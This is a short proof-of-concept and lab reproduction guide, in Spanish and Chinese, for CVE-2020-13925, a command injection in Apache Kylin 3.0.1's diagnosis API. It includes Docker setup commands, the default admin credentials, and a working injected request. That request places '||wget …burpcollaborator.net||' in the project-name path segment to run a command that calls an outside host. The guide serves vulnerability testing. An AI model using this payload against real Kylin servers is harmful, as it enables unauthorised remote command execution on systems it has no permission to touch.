bit4woo/cve-2020-13925PoC y guía de reproducción para CVE-2020-13925, una vulnerabilidad de inyección de comandos en la API de diagnóstico de Apache Kylin, con configuración de laboratorio basada en Docker y pasos de explotación.
Consulte https://github.com/apache/kylin para implementar el entorno con Docker, modificando la versión a la 3.0.1 (la versión vulnerable). Puede eliminar 【-m 8G \】que sirve para asignar el tamaño de la memoria.
Luego acceda a http://host:7070/kylin/login. El nombre de usuario y contraseña iniciales son ADMIN/KYLIN.
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
原始请求：
http://host:port/kylin/api/diag/project/learn_kylin/download
PoC请求，GET方法：
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download
即将项目名称“learn_kylin”替换为如下payload访问即可：
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
Acceda a System → Configuration → Diagnosis. Active la solicitud de descarga de información de diagnóstico http://host:port/kylin/api/diag/project/learn_kylin/download
Reemplace el nombre del proyecto "learn_kylin" con el payload anterior y acceda.
